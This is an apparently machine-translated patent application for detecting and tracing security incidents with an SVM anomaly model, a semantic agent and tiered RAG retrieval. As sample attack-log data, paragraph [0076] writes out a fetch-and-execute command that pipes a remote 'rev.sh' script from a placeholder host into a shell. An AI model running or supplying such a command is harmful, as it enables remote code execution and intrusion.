Cybersecurity event tracing detection method and device, and electronic device

Abstract

The application discloses a network security event tracing detection method and device and electronic equipment, relates to the network security protection technical field or other related fields, and the method comprises the following steps: inputting system behavior data collected at regular time into an abnormality detection model through a trusted terminal monitoring system process, and outputting an abnormality detection result; blocking the system process in the case that the target system has abnormal behavior, processing the system behavior data through a semantic agent to obtain behavior text in natural language form and behavior coding in vector form; searching a preset knowledge base based on the behavior coding to obtain an attack mode matched with the system behavior data and a matching confidence; and generating a network security event tracing disposal report based on the behavior text, the attack mode, the matching confidence, the abnormality detection result and system context information. The application solves the technical problem that, in the related art, abnormality detection and tracing have data barriers and execution faults, which leads to lag in disposal response to network security events.

Description

Technical Field

[0001] This invention relates to the field of network security protection technology, and more specifically, to a method, apparatus, and electronic device for tracing and detecting network security incidents. Background Technology

[0002] In the field of network security protection, the detection of abnormal system behavior and the tracing of attack sources are core aspects of ensuring system security. Currently, mainstream technologies often employ machine learning models such as SVM (Support Vector Machine) to detect abnormal behavior, effectively identifying anomalous operations within the system. However, existing network security technologies still have many shortcomings in the tracing process after anomaly detection. Furthermore, data link gaps exist between detection and tracing, limiting the success rate and efficiency of tracing. Specifically: the underlying abnormal data identified by machine learning models is in a machine-readable format, difficult for humans to understand, leading to low analysis efficiency; the tracing process often uses a single search mode, and local knowledge bases are prone to missed detections due to storage limitations, while full cloud retrieval further increases latency, making it difficult to balance speed and comprehensiveness; more importantly, the training annotations of the detection model are not linked to the tracing knowledge base, creating a "detectable but not traceable" gap, resulting in low tracing success rates. All of these problems significantly delay network security response and fail to guarantee system network security.

[0003] There is currently no effective solution to the above problems. Summary of the Invention

[0004] This invention provides a method, apparatus, and electronic device for tracing and detecting network security incidents, in order to at least solve the technical problem in related technologies where data barriers and execution gaps exist in the detection and tracing of abnormal behavior, resulting in delayed response to network security incidents.

[0005] According to one aspect of the present invention, a method for tracing and detecting network security incidents is provided, comprising: monitoring system processes through a trusted terminal and inputting periodically collected system behavior data into an anomaly detection model, and outputting anomaly detection results, wherein the anomaly detection model is used to analyze whether the target system exhibits abnormal behavior through low-level data analysis in machine language form; if the target system exhibits abnormal behavior, blocking the system processes, performing semantic conversion on the system behavior data through a semantic proxy to obtain behavior text in natural language form and behavior encoding in vector form; retrieving a preset knowledge base based on the behavior encoding to obtain the attack pattern and matching confidence level matching the system behavior data; and generating a network security incident tracing and handling report based on the behavior text, the attack pattern, the matching confidence level, the anomaly detection results, and system context information.

[0006] Furthermore, the preset knowledge base includes: a light quantum library located at the trusted terminal and a full library located at the trusted management terminal, wherein the full library contains full attack data, the light quantum library contains attack data corresponding to high-frequency attack types with attack frequencies higher than a preset frequency threshold, and the full library provides timed data update services to the light quantum library.

[0007] Further, the step of retrieving a preset knowledge base based on the behavior code to obtain the attack pattern and matching confidence level of the system behavior data includes: searching a locally located light quantum library based on the behavior code through the trusted terminal to obtain a first search result, wherein the first search result includes: a suspected attack pattern and a first matching confidence level; if the first matching confidence level is greater than or equal to a preset confidence level threshold, the suspected attack pattern is determined as the attack pattern matching the system behavior data.

[0008] Furthermore, the step of obtaining the attack pattern and matching confidence level of the system behavior data based on the behavior code to retrieve the preset knowledge base also includes: when the first matching confidence level is less than the preset confidence threshold, encrypting and encapsulating the behavior code, the system behavior data, and the local retrieval log, and transmitting the resulting encrypted file to the trusted management terminal; parsing the encrypted file through the trusted management terminal, and searching in the full database according to the parsing result to obtain a second retrieval result, wherein the second retrieval result includes: the attack pattern and the second matching confidence level of the system behavior data.

[0009] Furthermore, the training steps of the anomaly detection model include: constructing model training data based on the trusted terminal, the semantic agent, and the preset knowledge base, wherein the model training data includes: behavioral samples and supervision labels; obtaining a preset classification model, inputting the behavioral samples into the preset classification model, training the preset classification model according to the supervision labels, and stopping training when the model converges or reaches a preset classification accuracy, thereby obtaining the anomaly detection model.

[0010] Further, the step of constructing model training data based on the trusted terminal, the semantic agent, and the preset knowledge base includes: collecting system behavior logs through the trusted terminal in a test environment, wherein the system behavior logs include: normal operation behavior logs and abnormal attack behavior logs in machine language form; performing semantic parsing on the system behavior logs through the semantic agent to generate system behavior text descriptions in natural language form, and performing semantic encoding on the system behavior text descriptions to generate system behavior vector representations; performing cosine similarity retrieval in the preset knowledge base based on the system behavior vector representations, and outputting retrieval results, wherein the retrieval results include: system behavior property labels and confidence levels; using the system behavior logs as the behavior samples and the retrieval results as the supervision labels to generate model training data.

[0011] Furthermore, after generating a network security incident tracing and handling report, the tracing and detection method further includes: receiving feedback from the operation and maintenance terminal regarding the tracing and detection report; if the new attack pattern pointed out in the feedback does not have a historical record in the full database, encapsulating the behavior text, the behavior code, and the new attack pattern into a new knowledge entry through the trusted management terminal; and updating the new knowledge entry to the full database.

[0012] According to another aspect of the present invention, a network security incident tracing and detection device is also provided, comprising: a monitoring unit, configured to monitor system processes through a trusted terminal, input periodically collected system behavior data into an anomaly detection model, and output an anomaly detection result, wherein the anomaly detection model is configured to analyze whether the target system exhibits abnormal behavior through underlying data analysis in machine language form; a semantic conversion unit, configured to block the system processes when the target system exhibits abnormal behavior, and perform semantic conversion on the system behavior data through a semantic proxy to obtain behavior text in natural language form and behavior encoding in vector form; a retrieval unit, configured to retrieve a preset knowledge base based on the behavior encoding to obtain the attack pattern and matching confidence level matching the system behavior data; and a generation unit, configured to generate a network security incident tracing and handling report based on the behavior text, the attack pattern, the matching confidence level, the anomaly detection result, and system context information.

[0013] Furthermore, the preset knowledge base includes: a light quantum library located at the trusted terminal and a full library located at the trusted management terminal, wherein the full library contains full attack data, the light quantum library contains attack data corresponding to high-frequency attack types with attack frequencies higher than a preset frequency threshold, and the full library provides timed data update services to the light quantum library.

[0014] Further, the retrieval unit includes: a first retrieval module, configured to perform a retrieval in a locally located light quantum library based on the behavior encoding through the trusted terminal to obtain a first retrieval result, wherein the first retrieval result includes: a suspected attack pattern and a first matching confidence level; and a determination module, configured to determine the suspected attack pattern as an attack pattern matching the system behavior data when the first matching confidence level is greater than or equal to a preset confidence threshold.

[0015] Furthermore, the retrieval unit further includes: an encapsulation module, used to encrypt and encapsulate the behavior code, the system behavior data, and the local retrieval log when the first matching confidence is less than the preset confidence threshold, and transmit the resulting encrypted file to the trusted management terminal; and a second retrieval module, used to parse the encrypted file through the trusted management terminal and search the full database according to the parsing result to obtain a second retrieval result, wherein the second retrieval result includes: the attack mode matched by the system behavior data and the second matching confidence.

[0016] Furthermore, the network security incident tracing and detection device further includes: a training unit, used to execute the training steps of the anomaly detection model, including: a construction module, used to construct model training data based on the trusted terminal, the semantic agent, and the preset knowledge base, wherein the model training data includes: behavioral samples and supervision labels; and a training module, used to obtain a preset classification model, input the behavioral samples into the preset classification model, train the preset classification model according to the supervision labels, and stop training when the model converges or reaches a preset classification accuracy, thereby obtaining the anomaly detection model.

[0017] Further, the construction module includes: a collection submodule, used to collect system behavior logs in a test environment through the trusted terminal, wherein the system behavior logs include: normal operation behavior logs and abnormal attack behavior logs in machine language form; a first generation submodule, used to perform semantic parsing on the system behavior logs through the semantic agent to generate a system behavior text description in natural language form, and to perform semantic encoding on the system behavior text description to generate a system behavior vector representation; a retrieval submodule, used to perform cosine similarity retrieval in a preset knowledge base based on the system behavior vector representation, and output retrieval results, wherein the retrieval results include: system behavior property labels and confidence scores; and a second generation submodule, used to generate model training data by using the system behavior logs as the behavior samples and the retrieval results as the supervision labels.

[0018] Furthermore, the network security incident tracing and detection device further includes: a receiving unit, used to receive feedback from the operation and maintenance terminal regarding the tracing and detection report after generating the network security incident tracing and handling report; an encapsulation unit, used to encapsulate the behavior text, the behavior code, and the new attack pattern pointed out in the feedback into a new knowledge entry through a trusted management terminal when the new attack pattern does not have a historical record in the full database; and an updating unit, used to update the new knowledge entry to the full database.

[0019] According to another aspect of the present invention, a computer-readable storage medium is also provided, the computer-readable storage medium including a stored computer program, wherein, when the computer program is executed, it controls the device where the computer-readable storage medium is located to perform the source tracing and detection method for any of the above-mentioned network security events.

[0020] According to another aspect of the present invention, an electronic device is also provided, including one or more processors and a memory, wherein the memory is used to store one or more programs, wherein when the one or more programs are executed by the one or more processors, the one or more processors implement any of the above-described methods for tracing and detecting network security events.

[0021] This invention proposes a method for tracing and detecting network security incidents. First, a trusted terminal monitors system processes and inputs periodically collected system behavior data into an anomaly detection model, outputting anomaly detection results. The anomaly detection model analyzes underlying data in machine language to determine if abnormal behavior exists in the target system. If abnormal behavior is detected, the system process is blocked. A semantic proxy performs semantic conversion on the system behavior data, obtaining behavior text in natural language and behavior codes in vector form. Then, based on the behavior codes, a pre-defined knowledge base is retrieved to obtain the attack patterns and matching confidence levels of the system behavior data. Finally, based on the behavior text, attack patterns, matching confidence levels, anomaly detection results, and system context information, a network security incident tracing and handling report is generated.

[0022] This invention employs a semantic agent-driven structured behavior transformation and hierarchical knowledge base collaborative retrieval approach. By uniformly mapping the underlying system behavior data collected by trusted terminals into natural language text and high-dimensional semantic vectors, and performing two-level retrieval matching based on these vectors in the local lightweight quantum library and the full library at the management end, the training labels of the anomaly detection model are fully aligned with the source retrieval knowledge source. This achieves the technical effect of end-to-end closed-loop linkage from behavior detection to semantic source tracing, thereby solving the technical problem of data barriers and execution gaps in anomaly behavior detection and source tracing in related technologies, which leads to delayed response to network security incidents. Specifically, traditional methods rely on manually labeled feature tags for detection models, while source tracing relies on expert rule bases. The semantic space of the two is fragmented, resulting in "detection but no traceability." This invention uses a semantic proxy to uniformly convert the underlying data into a searchable data structure, ensuring that the semantic tags of attack patterns used in model training and application are of the same data structure type. This guarantees that every detected abnormal behavior has an explainable and matchable attack pattern in the knowledge base. At the same time, lightweight local retrieval ensures real-time response, and the full database ensures coverage. This completely connects the detection and source tracing links, enabling a smooth transition from machine recognition to human-recognizable reports of abnormal events. Attached Figure Description

[0023] The accompanying drawings, which are included to provide a further understanding of the invention and form part of this application, illustrate exemplary embodiments of the invention and, together with their description, serve to explain the invention and do not constitute an undue limitation thereof. In the drawings:

[0024] Figure 1 This is a technical principle block diagram of an optional intelligent traceability and detection system according to an embodiment of the present invention;

[0025] Figure 2 This is a flowchart of the training process for an optional real-time anomaly detection model according to an embodiment of the present invention.

[0026] Figure 3 This is a flowchart of an optional network security incident tracing and detection method according to an embodiment of the present invention;

[0027] Figure 4 This is an optional flowchart for abnormal behavior detection and intelligent tracing according to an embodiment of the present invention;

[0028] Figure 5 This is a schematic diagram of an optional network security incident tracing and detection device according to an embodiment of the present invention;

[0029] Figure 6 This is a structural block diagram of an electronic device for performing a method for tracing and detecting network security incidents according to an embodiment of the present invention. Detailed Implementation

[0030] To enable those skilled in the art to better understand the present invention, the technical solutions of the present invention will be clearly and completely described below with reference to the accompanying drawings of the embodiments of the present invention. Obviously, the described embodiments are only some embodiments of the present invention, and not all embodiments. Based on the embodiments of the present invention, all other embodiments obtained by those skilled in the art without creative effort should fall within the scope of protection of the present invention.

[0031] It should be noted that the terms "first," "second," etc., in the specification, claims, and accompanying drawings of this invention are used to distinguish similar objects and are not necessarily used to describe a specific order or sequence. It should be understood that such data can be interchanged where appropriate so that the embodiments of the invention described herein can be implemented in orders other than those illustrated or described herein. Furthermore, the terms "comprising" and "having," and any variations thereof, are intended to cover a non-exclusive inclusion; for example, a process, method, system, product, or apparatus that comprises a series of steps or units is not necessarily limited to those steps or units explicitly listed, but may include other steps or units not explicitly listed or inherent to such processes, methods, products, or apparatus.

[0032] To facilitate understanding of the present invention by those skilled in the art, some terms or nouns involved in the various embodiments of the present invention are explained below:

[0033] Semantic Agent (hereinafter referred to as Semantic Agent) is used in AI security and observability systems to automatically parse unstructured or machine-readable system logs (such as system calls and network flows) into human-readable natural language descriptions, achieving human-machine semantic alignment. In this invention, it serves as the core conversion module, standardizing the underlying system behavior data into natural language text and its corresponding semantic vectors, providing a semantically consistent input carrier for RAG retrieval and SVM training.

[0034] RAG, or Retrieval-Augmented Generation, is a retrieval-enhanced generation mechanism that typically combines external knowledge base retrieval with language model generation to improve the accuracy and interpretability of large model outputs. In this invention, it serves as a high-precision semantic matching engine, providing supervision signals for SVM training and attack semantic basis for report generation.

[0035] SVM, or Support Vector Machine, is a supervised learning classification model suitable for binary or multi-class classification tasks with small sample sizes and high-dimensional data. It is commonly used for anomaly detection and pattern recognition. In this invention, it serves as the core anomaly detection model, taking the original system behavior features as input and outputting a judgment result indicating whether it is an anomaly.

[0036] The Text-Vector-Label ternary structure, defined in this invention, is the core data structure used to uniformly describe attack knowledge: Text is a standardized natural language behavior description, Vector is a high-dimensional vector encoded by the text using a semantic model, and Label is the attack type and confidence level label. This structure serves as the storage unit of the RAG knowledge base and the sole source of supervision for SVM training, achieving complete alignment of the semantic space between the training and application phases.

[0037] The following embodiments of the present invention can be applied to various systems / applications / devices that require real-time detection of abnormal system behavior and intelligent tracing of attack patterns, enabling closed-loop analysis and handling from underlying system calls to structured security semantic reports. The present invention uses system behavior data collected by trusted terminals for semantic agent semantic transformation and vectorization encoding. Then, through lightweight RAG and full RAG hierarchical retrieval and matching of attack patterns, it can better ensure that the anomaly detection results are 100% traceable, explainable, and handleable, significantly improving the efficiency and accuracy of terminal-side security response.

[0038] The semantic agent and RAG knowledge base of this invention are highly reusable in the training and application stages, ensuring that every anomaly output by the detection model corresponds to the attack semantics already labeled in the knowledge base, thereby achieving the terminal intelligent immunity capability of "detecting, tracing accurately, and answering clearly".

[0039] The present invention will now be described in detail with reference to various embodiments.

[0040] Example 1

[0041] According to an embodiment of the present invention, a method for tracing and detecting network security incidents is provided. It should be noted that the steps shown in the flowchart in the accompanying drawings can be executed in a computer system such as a set of computer-executable instructions. Furthermore, although a logical order is shown in the flowchart, in some cases, the steps shown or described may be executed in a different order than that shown here.

[0042] To address the shortcomings of existing technologies, such as poor anomaly comprehensibility, the inability of retrieval modes to balance speed and comprehensiveness, barriers between underlying data and intelligent analysis, low success rates in source tracing due to the disconnect between detection and source tracing, and a lack of structured guidance in source tracing results, this invention proposes an intelligent source tracing and detection method based on an AI-optimized credibility measurement and judgment mechanism. This method utilizes a semantic agent and a lightweight RAG (Research Aggregator) working collaboratively to construct a closed-loop system encompassing "data acquisition - model training - anomaly detection - semantic conversion - hierarchical retrieval - report generation." The core of this method is the strong binding design between SVM training and RAG source tracing, fundamentally solving the source tracing success rate problem. Simultaneously, by combining the natural language conversion capabilities of the semantic agent with the retrieval capabilities of the hierarchical RAG, it breaks down the barriers between underlying data and intelligent analysis.

[0043] The specific solution is as follows: Underlying data is collected using trusted components on trusted terminal devices. This data is then converted into natural language using a semantic agent and used to train and annotate an SVM based on the RAG knowledge base search results, achieving a fundamental binding between detection and attribution. In the application phase, after anomalies are detected by the SVM, the same semantic agent is reused to translate the underlying data into natural language descriptions and generate vectors. A layered retrieval mode is designed, combining "trusted terminal local lightweight RAG fast retrieval + trusted management platform full-scale secure semantic RAG complete retrieval," balancing speed and comprehensiveness in attribution. Finally, a structured natural language attack attribution report is generated based on the retrieval results.

[0044] Figure 1 This is a technical principle block diagram of an optional intelligent traceability and detection system according to an embodiment of the present invention, such as... Figure 1 As shown, the intelligent source tracing method proposed in this embodiment, which combines semantic agents and lightweight RAG, is based on five core steps: trusted data collection, SVM training and application, semantic agent conversion, hierarchical RAG retrieval, and trusted report generation. It achieves full-process intelligentization from anomaly detection to readable source tracing report generation, and constructs a closed-loop system for the entire training and application chain. The training phase follows the logical execution of trusted data collection → semantic translation steps → tag acquisition → SVM model training (e.g., ...). Figure 1 The green arrows in the middle indicate the execution flow. Anomaly detection and tracing in the application phase follow the logical execution of trusted data collection → semantic translation steps → local retrieval steps → management-side retrieval steps → report generation steps (e.g., Figure 1 The blue arrows in the middle indicate the execution process.

[0045] In terms of design hierarchy, it is divided into, for example Figure 1The five-layer structure shown includes: data acquisition layer, data processing layer, RAG knowledge base system, SVM model layer, and report generation layer, realizing closed-loop linkage between training and application. The SVM model is built during the training phase, and anomaly detection and full-process tracing are realized based on the trained SVM during the application phase. The core components, semantic agent and RAG knowledge base system, are highly reused in the training and application phases, ensuring a strong binding between detection and tracing.

[0046] The technical implementation involves three core components: building the RAG knowledge base system, training the SVM model, and detecting and intelligently tracing abnormal behavior. These will be explained in detail below.

[0047] The construction of the RAG knowledge base system is the first core prerequisite. The RAG knowledge base system is the core foundation of this invention's embodiments, consisting of a lightweight RAG sub-library located on a trusted terminal and a full-scale security semantic RAG main library located on a trusted management terminal. The main library contains full-scale three-dimensional data (i.e., Text-Vector-Label data structure) corresponding to all attack modes (or attack types), while the sub-library only contains three-dimensional data corresponding to the core high-frequency attack types and exemption behaviors (security behaviors pre-identified by the system) in the main library, achieving lightweight deployment. Furthermore, the main library and sub-library are cascaded, with the main library serving as the core for routine data updates to the sub-library. The full-scale three-dimensional data in the main library originates from multiple application scenarios (server-side / client-side / embedded devices) and multiple attack type samples (ransomware encryption, privilege escalation attacks, data theft, buffer overflows, etc.), including massive amounts of clean system underlying data collected by trusted components and underlying data from known attacked systems.

[0048] It's important to explain the Text-Vector-Label three-dimensional data structure. Text refers to natural language descriptions, which are standardized security / business behavior descriptions of actions such as call stacks, network connections, and file access. It also includes corresponding handling / remediation suggestions. For example, the behavior description could be, "The process called the system's Bash interpreter and used a pipe command to execute a script from outside, subsequently attempting to modify memory pages to executable permissions." The corresponding remediation suggestion could be, "It is recommended to immediately terminate the abnormal process and check the system's remote execution permission configuration." Vector refers to semantic vectors, which are high-dimensional numerical vectors transformed from the above natural language descriptions through a pre-trained model (any general semantic model will suffice, such as BERT, which will not be elaborated upon in this invention). These vectors are adapted to RAG's vector similarity retrieval algorithm to achieve fast and accurate matching. Label refers to confidence level and tag, that is, to mark the security attributes and / or security type of corresponding behaviors in the system process. For example, in a specific embodiment, 0 is used to represent normal behavior and 1 is used to represent abnormal behavior. Furthermore, Label is also used as a source of annotation during SVM model training, and at the same time, it marks the confidence level of the judgment, such as: "1 / Secure - belongs to the list of exempted behaviors (99%)", "1 / Dangerous - ransomware encryption (95%)", "1 / Dangerous - privilege escalation attack (92%)", "0 / Secure behavior (100%)".

[0049] SVM model training is the second core pre-processing step. The core objective of the training phase is to achieve a strong binding between SVM detection and RAG source tracing. This is accomplished by relying on trusted components of trusted terminals, semantic agents, and security semantic RAGs from the management end. Figure 2 This is a flowchart illustrating the training process of an optional real-time anomaly detection model according to an embodiment of the present invention, such as... Figure 2 As shown, the trusted component of the trusted terminal monitors and collects underlying system data, including process call stack sequences, network connection quintuples, file I / O features, etc.; the semantic agent translates the collected underlying data into standardized natural language descriptions and converts them into corresponding natural language vectors; the natural language vectors are pushed to the security semantic RAG master library on the management end for retrieval, and the master library outputs the corresponding confidence scores and labels (abnormal / normal, attack type confidence scores); the SVM model is trained using the underlying data as training samples and the labels retrieved by RAG as annotation results, and finally the trained SVM anomaly detection module is obtained, realizing the underlying binding between the detection model and the tracing system.

[0050] Next comes the application phase, which involves abnormal behavior detection and intelligent source tracing. Once the SVM anomaly detection model is trained, it can be deployed in production for real-time abnormal behavior detection and intelligent source tracing. The application phase consists of four main steps: semantic translation, local terminal retrieval, management terminal retrieval, and report generation. These steps are closely linked and reuse core components from the training phase to ensure process consistency.

[0051] Examples of embodiments of the present invention Figure 3 The network security incident tracing and detection method shown is implemented by a network security protection system. It combines semantic agent semantic transformation with lightweight RAG hierarchical retrieval technology for real-time detection and accurate tracing of abnormal behavior on the terminal side, especially addressing issues such as uninterpretable detection results, high tracing failure rates, and a disconnect between the detection and analysis systems. This is achieved by constructing a closed-loop semantic alignment mechanism of "training-detection-retrieval-reporting." Specifically, trusted terminals collect system behavior data, which is uniformly converted into natural language text and semantic vectors by a semantic agent. The Text-Vector-Label output from RAG retrieval is used to train an SVM model. When an anomaly occurs, the same agent and RAG system are reused to perform a two-level retrieval with local priority and cloud fallback, generating a structured report containing attack type, confidence level, and handling recommendations. This achieves 100% traceability of anomaly detection, understandable behavioral semantics, and executable handling recommendations.

[0052] Figure 3 This is a flowchart of an optional network security incident tracing and detection method according to an embodiment of the present invention, such as... Figure 3 As shown, the method includes the following steps:

[0053] Step S301: Monitor the system process through a trusted terminal, input the system behavior data collected periodically into the anomaly detection model, and output the anomaly detection result. The anomaly detection model is used to analyze the underlying data in machine language to determine whether there is abnormal behavior in the target system.

[0054] It should be noted that a trusted terminal refers to a terminal device with hardware-level or kernel-level trusted computing capabilities (such as the white blood cell trusted terminal). The underlying data collection module is security-certified, and the data collection behavior cannot be tampered with, bypassed, or forged by users, processes, or attackers, ensuring the authenticity, integrity, and reliability of the data source. The trusted terminal embeds trusted computing and trusted monitoring components, directly capturing low-level events such as system calls, network connections, and file operations at the operating system kernel level through kernel-level monitoring technology. All collected data is transmitted to a local cache or uploaded to a management platform via an encrypted channel, and the collection logs are hardware-signed to ensure non-repudiation. For example, when a process calls `execve(" / bin / sh",...)`, the trusted terminal directly obtains complete parameters (such as execution path, command-line arguments, and parent process ID) from the kernel hook, rather than through user-space logs (which are easily deleted).

[0055] Optionally, the trusted terminal can also possess functions such as low-level data acquisition, transmission, and storage, and can also serve as a trusted terminal device for leukocytes, capable of acquiring low-level raw data such as system call stacks, network quintuples, and file I / O. Correspondingly, there is also a trusted management terminal serving as a trusted leukocyte immune management platform.

[0056] The trusted terminal in this embodiment can ensure the trustworthiness of the data source and prevent attackers from circumventing detection by clearing logs or injecting fake data; it can also ensure data integrity, as the collected data is the original system behavior and has not been filtered, rewritten or aggregated by middleware.

[0057] Another point to clarify is the concept of system processes, which refers to all user-mode and kernel-mode processes running in the operating system, including system services, applications, script interpreters, and exception backdoors. This embodiment of the invention focuses on the behavioral sequence of each process, rather than just its name or PID. In specific implementation, the trusted terminal monitors the complete lifecycle of each process through a process behavior tracing mechanism.

[0058] Record the following at startup: PID, PPID, execution path, user permissions (UID), and startup parameters;

[0059] Execution log: The sequence of system calls initiated (such as openat→read→write→execve) and their parameters (such as filename, IP address, port);

[0060] Upon termination, record: exit code, time elapsed, and whether it was forcibly terminated.

[0061] For example, after the process svchost.exe (PID 1234) starts, it sequentially calls CreateFile(C:\temp\payload.dll), LoadLibrary, and VirtualProtect (sets the memory as executable). This chain of actions is considered a complete "process behavior event".

[0062] The above steps enable process-level binding of behaviors, ensuring that abnormal behaviors can be accurately attributed to specific processes and avoiding false alarms (such as multiple processes sharing the same API); it also allows the construction of behavior causal chains, providing a complete context for attack path reconstruction (such as "the parent process is explorer, the child process is PowerShell, and the grandchild process is curl").

[0063] Another point to note is that system behavior data refers to the raw, unprocessed, machine language-based records of low-level system operations collected through trusted terminals; it is the "digital fingerprint" of the actual operation of a computer system.

[0064] Optionally, system behavior data may include: system call stack, network quintuple, and file I / O features. The system call stack refers to the sequence of system calls initiated by a system process during execution, such as sys_execve, openat, rename, and write, and is key data reflecting the underlying behavior of the system. The network quintuple consists of the source IP address, destination IP address, source port, destination port, and transport layer protocol, used to uniquely identify a network connection and is the core feature for network behavior analysis. File I / O features refer to characteristics related to file input / output operations, including information on file opening, reading, writing, renaming, and deletion operations, reflecting the behavioral state of the system's file layer.

[0065] Another point to note is that the anomaly detection model is used to analyze whether the target system has abnormal behavior through low-level data in machine language form. This model (which can be SVM in this embodiment) does not rely on known attack signatures, but classifies and judges the original system behavior data by learning the differences in the underlying call patterns of "normal behavior" and "abnormal behavior". The following is an interpretation from two stages: Training stage: SVM is trained using a large amount of labeled data (from RAG search tags). The input is the feature vector of the behavior sequence (such as n-gram call frequency, number of permission changes, API call entropy value); Application stage: The original behavior sequence from the trusted terminal is received in real time, the same feature vector is extracted, input into the SVM model, and the output is "abnormal (1)" or "normal (0)" judgment, with a confidence level. For example: the cosine similarity between the behavior vector of a certain process and the "ransomware encryption" training sample is >0.9, and the SVM outputs "abnormal (confidence level: 97%)".

[0066] Zero-day attack identification can be achieved through anomaly detection models, which can detect new types of attacks (such as fileless attacks and memory malware) without signatures. Anomaly detection models can also reduce false positive rates by learning from real behavioral patterns rather than simple rule matching. This provides a foundation for "strong binding between detection and attribution". The training labels of this model come directly from RAG retrieval results, ensuring that detected anomalies can be traced back to their source.

[0067] Furthermore, the training steps of the anomaly detection model include: constructing model training data based on trusted terminals, semantic agents, and a preset knowledge base, wherein the model training data includes: behavioral samples and supervision labels; obtaining a preset classification model, inputting behavioral samples into the preset classification model, training the preset classification model according to the supervision labels, and stopping training when the model converges or reaches a preset classification accuracy, thus obtaining the anomaly detection model.

[0068] It should be noted that the training data for the model built on trusted terminals, semantic agents, and pre-set knowledge bases is not manually labeled data. Instead, it is generated by an automated semantic reasoning mechanism that utilizes the system's own components to produce high-quality, highly reliable training samples and labels, thus achieving a closed loop of "labeling the model with the knowledge base and feeding back the knowledge base with the model".

[0069] In the specific implementation process, a trusted terminal continuously collects low-level system behavior data from multiple scenarios and devices, including: process call stack sequences (such as openat→read→execve→mmap); network 5-tuples (source IP, destination IP, port, protocol); and file I / O operations (such as writing to / etc / shadow and creating executable files in the / tmp directory). The semantic agent automatically converts the above raw behavioral data into standardized natural language descriptions (Text), such as: "The process reads the system password file with root privileges, starts the Bash interpreter to execute a remote script, and then modifies the memory page to executable permissions."

[0070] The semantic agent simultaneously encodes the natural language description into a semantic vector and pushes it to a pre-defined knowledge base (i.e., the full-scale security semantic RAG main library on the management end) for retrieval. The pre-defined knowledge base returns the most matching label based on vector similarity matching, for example: "1 / Dangerous - Privilege Escalation Attack (95%)". This label is the supervision label for the behavior sample, indicating that it is an abnormal behavior and marking the attack type and confidence level. Training sample set construction: Each sample = (original system behavior data, semantic vector, supervision label), forming a structured training dataset.

[0071] The steps of obtaining a preset classification model, inputting behavioral samples into the preset classification model, and training based on supervised labels refer to using structured training data (behavioral samples + labels) to perform supervised learning on the classification model (such as SVM), so that the model learns to identify the statistical features of "attack patterns" from the underlying behaviors.

[0072] In the specific implementation process, SVM is selected as the preset classification model. Its advantages lie in its strong classification ability in high-dimensional space, good generalization, and output confidence, which is suitable for the reliability requirements of the "abnormal-normal" binary classification of this system. The original system behavior data (such as system call sequences) is processed by feature engineering and transformed into numerical feature vectors (such as: the frequency of system call n-grams for each process (such as the number of times openat-execve occurs); the frequency of permission change behavior (such as mmap+PROT_EXEC combination); network connection entropy value (whether it frequently connects to unfamiliar IPs); the "Label" output by the RAG knowledge base is used as the label (1=abnormal, 0=normal), and input into SVM for training to optimize the classification hyperplane; during the training process, cross-validation, accuracy, recall and other indicators are used to monitor the convergence status. The training stops when the model's accuracy on the validation set is ≥97% (preset threshold) or the loss function no longer decreases.

[0073] Furthermore, the steps for constructing model training data based on trusted terminals, semantic agents, and a pre-defined knowledge base include: collecting system behavior logs through trusted terminals in a test environment, wherein the system behavior logs include: normal operation behavior logs and abnormal attack behavior logs in machine language form; performing semantic parsing on the system behavior logs through a semantic agent to generate system behavior text descriptions in natural language form, and semantically encoding the system behavior text descriptions to generate system behavior vector representations; performing cosine similarity retrieval on the system behavior vector representations in the pre-defined knowledge base and outputting retrieval results, wherein the retrieval results include: system behavior property labels and confidence scores; and using the system behavior logs as behavior samples and the retrieval results as supervision labels to generate model training data.

[0074] It should be noted that in the process of collecting system behavior logs (including normal and abnormal data) through trusted terminals in the test environment, the test environment does not refer to the development environment in general, but rather to a controllable, reproducible simulation range with behavior injection capabilities, used to securely collect two types of key data:

[0075] Normal behavior logs: System operations performed by administrators, maintenance personnel, or legitimate business processes, such as: openat(" / var / log / app.log",O_RDONLY)→read→close, socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)→connect(192.168.1.10:80).

[0076] Logs of unusual attack behavior: Real attack chains simulated by penetration testers or automated attack tools, such as: execve(" / bin / bash",["-c","curl http: / / xxx / rev.sh|sh"])→mmap(NULL,4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS,-1,0).

[0077] All behaviors are collected by the kernel-level monitoring module of the trusted terminal in the form of the original system call sequence, retaining complete parameters, timestamps, PIDs, UIDs and other contexts to ensure that the data is tamper-proof and tamper-proof.

[0078] Optionally, the collection scope can cover various terminal types such as servers, clients, and embedded devices; the attack samples can cover mainstream attack types such as ransomware encryption, privilege escalation, data theft, fileless attacks, and memory injection, and the sources can include: known vulnerability exploit samples (such as CVE-2021-44228); APT group attack reproductions (such as the process injection behavior of APT29); and real attack paths captured in internal red team / blue team exercises.

[0079] In the steps of generating natural language descriptions and semantic vectors through semantic proxies, it is necessary to further explain that semantic proxies are lightweight AI modules that are completely consistent in the training and application stages. They do not rely on manual rules, but are based on pre-trained semantic models (such as small BERT variants) to automatically map the original system call sequence into structured natural language descriptions.

[0080] Input: [openat(" / etc / passwd",O_RDONLY),execve(" / bin / sh",...),mmap(...,PROT_EXEC)];

[0081] Output Text (Natural Language Description): "The process reads the system user credentials file with root privileges, starts the Bash interpreter, and then marks the memory region as executable, exhibiting typical privilege escalation and code injection behavior characteristics."

[0082] Output Vector (Semantic Vector): Input the above text into a fixed encoding model to generate a multi-dimensional dense vector (e.g., a 768-dimensional numerical vector), which is a "semantic fingerprint" that uniquely represents the behavior in the semantic space.

[0083] In another optional embodiment, all natural language descriptions follow a predefined template, such as: "[Subject] performs [action] on [object] with [permissions], and [subsequent behavior], which conforms to the [attack intent] characteristic." This ensures standardized semantic expression and avoids affecting subsequent retrieval accuracy due to wording differences. Semantic vector model freezing: The exact same encoding model and weights are used in the training and application phases to ensure that the vector space of the training samples is strictly aligned with the subsequent retrieval space.

[0084] In the step of performing cosine similarity retrieval based on system behavior vectors in the preset knowledge base and outputting labels and confidence scores, the preset knowledge base is the full security semantic RAG master library of the management end, and its data structure is a Text-Vector-Label triple, where the Label format is as follows: "1 / Danger - Privilege escalation attack (95%)" and "0 / Security - Exemption behavior (100%)".

